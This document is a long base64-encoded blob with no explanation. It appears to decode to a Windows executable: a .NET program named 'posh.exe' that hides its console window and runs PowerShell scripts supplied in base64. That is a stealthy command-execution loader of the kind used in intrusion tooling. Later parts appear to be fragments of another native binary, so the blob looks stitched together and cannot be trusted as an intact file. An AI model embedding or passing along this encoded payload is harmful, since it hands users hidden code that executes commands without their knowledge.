AEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBB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bWF0aW9uAFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUnVuc3BhY2VzAFJ1bnNwYWNlRmFjdG9yeQBSdW5zcGFjZQBDcmVhdGVSdW5zcGFjZQBPcGVuAFJ1bnNwYWNlSW52b2tlAFBpcGVsaW5lAENyZWF0ZVBpcGVsaW5lAENvbW1hbmRDb2xsZWN0aW9uAGdldF9Db21tYW5kcwBBZGRTY3JpcHQAU3lzdGVtLkNvbGxlY3Rpb25zLk9iamVjdE1vZGVsAENvbGxlY3Rpb25gMQBQU09iamVjdABJbnZva2UAQ2xvc2UAU3lzdGVtLlRleHQAU3RyaW5nQnVpbGRlcgBTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYwBJRW51bWVyYXRvcmAxAEdldEVudW1lcmF0b3IAZ2V0X0N1cnJlbnQAQXBwZW5kAFN5c3RlbS5Db2xsZWN0aW9ucwBJRW51bWVyYXRvcgBNb3ZlTmV4dABJRGlzcG9zYWJsZQBEaXNwb3NlAFRvU3RyaW5nAFN0cmluZwBUcmltAEVuY29kaW5nAGdldF9Vbmljb2RlAENvbnZlcnQARnJvbUJhc2U2NFN0cmluZwBHZXRTdHJpbmcAAAADIAAAAAAAEia8UX96xUKNIcRtUFz57wAIt3pcVhk04IkCBggEAAAAAAQFAAAAAwAAGAUAAgIYCAMgAAEEAAEODgQAAQEOAwAAAQQgAQEIBCABAQ4IMb84Vq02TjUEAAASGQUgAQESGQQgABIhBCAAEiUIIAAVEikBEi0GFRIpARItCCAAFRI1ARMABhUSNQESLQQgABMABSABEjEcAyAAAgMgAA4aBwkSGRIdEiEVEikBEi0SMRItDhUSNQESLQIEAAASRQUAAR0FDgUgAQ4dBQQHAhgOAwcBGAgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEAvCgAAAAAAAAAAAAA3igAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAoAAAAAAAAAAAAAAAAAAAAAAAAAABfQ29yRXhlTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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MeQx6DHsMQgyLDIwMjQySDJMMlAycDN0M3gzfDOAM4QziDOMM5AzlDOYM5wzoDOkM6gzrDOwM7QzuDO8M8AzxDPIM8wz0DPUM9gz3DPgM+Qz6DPsM/Az9DP4M/wzADQENAg0DDQQNBQ0GDQcNCA0JDQoNCw0MDQ0NDg0PDRANEQ0SDRMNFA0VDRYNFw0YDRkNGg0bDRwNHQ0eDR8NIA0hDSINIw0kDSUNJg0nDSgNKQ0qDSsNLA0tDS4NLw0wDTENMg0zDTQNNQ02DTcNOA05DToNOw08DT0NPg0/DQANZg7oDuoO6w7sDu0O7g7vDvAO8Q7zDvQO9Q72DvcO+A75DvoO/Q7/DsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8LDwwPDQ8ODw8PEA8RDxIPEw8UDxUPFg8XDwA8AAAVAEAAKgyrDKwMrQySDZMNlA2VDZYNlw2YDZkNmg2bDZwNnQ2eDZ8NoA2hDaINow2kDaUNpg2nDagNqQ2qDasNrA2tDa4Nrw2wDbENsg2zDbQNtQ22DbcNuA25DboNuw28Db8NgA3BDcINww3EDcUNxg3HDcgNyQ3KDcsNzA3NDc4Nzw3QDdEN0g3TDdQN1Q3WDdcN2A3ZDdoN2w3cDd0N3g3fDeAN4Q3iDeMN5A3lDeYN5w3oDekN6g3tD28PcQ9zD3UPdw95D3sPfQ9/D0EPgw+FD4cPiQ+LD40Pjw+RD5MPlQ+XD5kPmw+dD58PoQ+jD6UPpw+pD6sPrQ+vD7EPsw+1D7cPuQ+7D70Pvw+BD8MPxQ/HD8kPyw/ND88P0Q/TD9UP1w/ZD9sP3Q/fD+EP4w/lD+cP6Q/rD+0P7w/xD/MP9Q/3D/kP+w/9D/8PwAAAAABAIgBAAAEMAwwFDAcMCQwLDA0MDwwRDBMMFQwXDBkMGwwdDB8MIQwjDCUMJwwpDCsMLQwvDDEMMww1DDcMOQw7DD0MPwwBDEMMRQxHDEkMSwxNDE8MUQxTDFUMVwxZDFsMXQxfDGEMYwxlDGcMaQxrDG0MbwxxDHMMdQx3DHkMewx9DH8